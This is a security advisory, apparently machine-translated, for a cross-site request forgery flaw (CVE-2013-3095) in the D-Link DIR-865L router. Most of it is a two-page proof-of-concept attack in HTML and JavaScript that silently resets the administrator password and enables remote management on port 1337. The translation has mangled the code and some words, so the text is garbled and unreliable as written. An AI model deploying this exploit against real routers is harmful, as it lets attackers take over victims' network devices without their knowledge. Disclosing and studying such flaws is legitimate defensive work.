Release date:
Updated on: 2013-04-23
Affected Systems:
D-Link DIR-865L
Description:
--------------------------------------------------------------------------------
Bugtraq id: 59312
CVE (CAN) ID: CVE-2013-3095
D-Link DIR-865L is an enterprise wireless router.
D-Link DIR-865L 1.03 and other versions have security vulnerabilities in verifying the implementation of user requests through which users can perform certain operations, such as changing login creden, when browsing a specially crafted webpage, enable some services.
<* Source: Jacob Holcomb
Link: http://secunia.com/advisories/53064/
Http://securityevaluators.com/content/case-studies/routers/dlink_dir865l.jsp
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
Jacob Holcomb () provides the following test methods:
In the following proof of concept attack, we assume that a device administrator with an active management session established with the router has browsed to a malicious web page. once there, a series of automatic form submissions take place, one after the other, to the administrator's router, from the administrator's browser. since the administrator has a current session established with the router, the form submissions are processed.
The first form (Figure 1) is pre-filled out with the information required to set the administrator password to "ISE" and enable remote management on port 1337. the second form completes the action, by instructing the D-Link to save the settings its been given.
-------------------------- Figure 1. Attack page 1 .--------------------------
<Html>
<Head>
<Title> D-LINK DIR-865L CSRF </title>
<! -- Firmware Version: 1.03 Fri 02 Nov 2012 -->
</Head>
<Body>
<Form name = "dlinkXML" action = "http: // 192.168.0.1/hedwig. cgi"
Enctype = "text/plain" method = "post">
<Input type = "hidden" name = "<? Xml version "value =" '1. 0' encoding = 'utf-8'?>
<Postxml>
<Module>
<Service> DEVICE. ACCOUNT </service>
<Device>
<Gw_name> DIR-865L </gw_name>
<Account>
<Seqno> 1 </seqno>
<Max> 2 </max>
<Count> 1 </count>
<Entry>
<Uid> USR-</uid>
<Name> Admin </name>
<Usrid/>
<Password> ISE </password>
<Group> 0 </group>
<Description/>
</Entry>
</Account>
<Group>
<Seqno/>
<Max/>
<Count> 0 </count>
</Group>
<Session>
<Captcha> 0 </captcha>
<Dummy/>
<Timeout> 600 </timeout>
<Maxsession> 128 </maxsession>
<Maxauthorized> 16 </maxauthorized>
</Session>
</Device>
</Module>
<Module>
<Service> HTTP.WAN-1 </service>
<Inf>
<Web> 1337 </web>
<Https_rport> <Stunnel> 1 </stunnel>
<Weballow>
<Hostv4ip/>
</Weballow>
<Inbfilter> </inbfilter>
</Inf>
</Module>
<Module>
<Service> HTTP.WAN-2 </service>
<Inf>
<Web> 1337 </web>
<Weballow> </weballow>
</Inf>
</Module>
<Module>
<Service> INBFILTER </service>
<Acl>
<Inbfilter>
<Seqno> 1 </seqno>
<Max> 24 </max>
<Count> 0 </count>
</Inbfilter>
</Acl>
<ACTIVATE> ignore </ACTIVATE>
<FATLADY> ignore </FATLADY>
<SETCFG> ignore </SETCFG>
</Module>
<Module>
<Service> SHAREPORT </service>
<FATLADY> ignore </FATLADY>
<ACTIVATE> ignore </ACTIVATE>
</Module>
</Postxml> ">
</Form>
<Script>
Function CSRF1 () {document. dlinkXML. submit () ;}; window. setTimeout (CSRF1, 1000)
Function CSRF2 () {window. open ("http: // 192.168.0.100/dlinkCSRF2.html ");};
Window. setTimeout (CSRF2, 1000)
</Script>
</Body>
</Html>
-------------------------- Figure 1. Attack page 1 .--------------------------
-------------------------- Figure 2. Attack page 2 .--------------------------
<Html>
<Head>
<Title> D-LINK DIR-865L CSRF </title>
<! -- Firmware: 1.03 Fri 02 Nov 2012 -->
</Head>
<Body>
<Form name = "DLINK" action = "http: // 192.168.0.1/pigwidgeon. cgi" method = "post">
<Input type = "hidden" name = "ACTIONS" value = "SETCFG, SAVE, ACTIVATE">
</Form>
<Script>
Document. DLINK. submit ()
</Script>
</Body>
</Html>
-------------------------- Figure 2. Attack page 2 .--------------------------
At this point, the attacker can remotely administer, and thereby remotely control the router.
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
D-Link
------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
Http://www.dlink.com/us/en/home-solutions/connect/routers/dir-865l-cloud-router-5700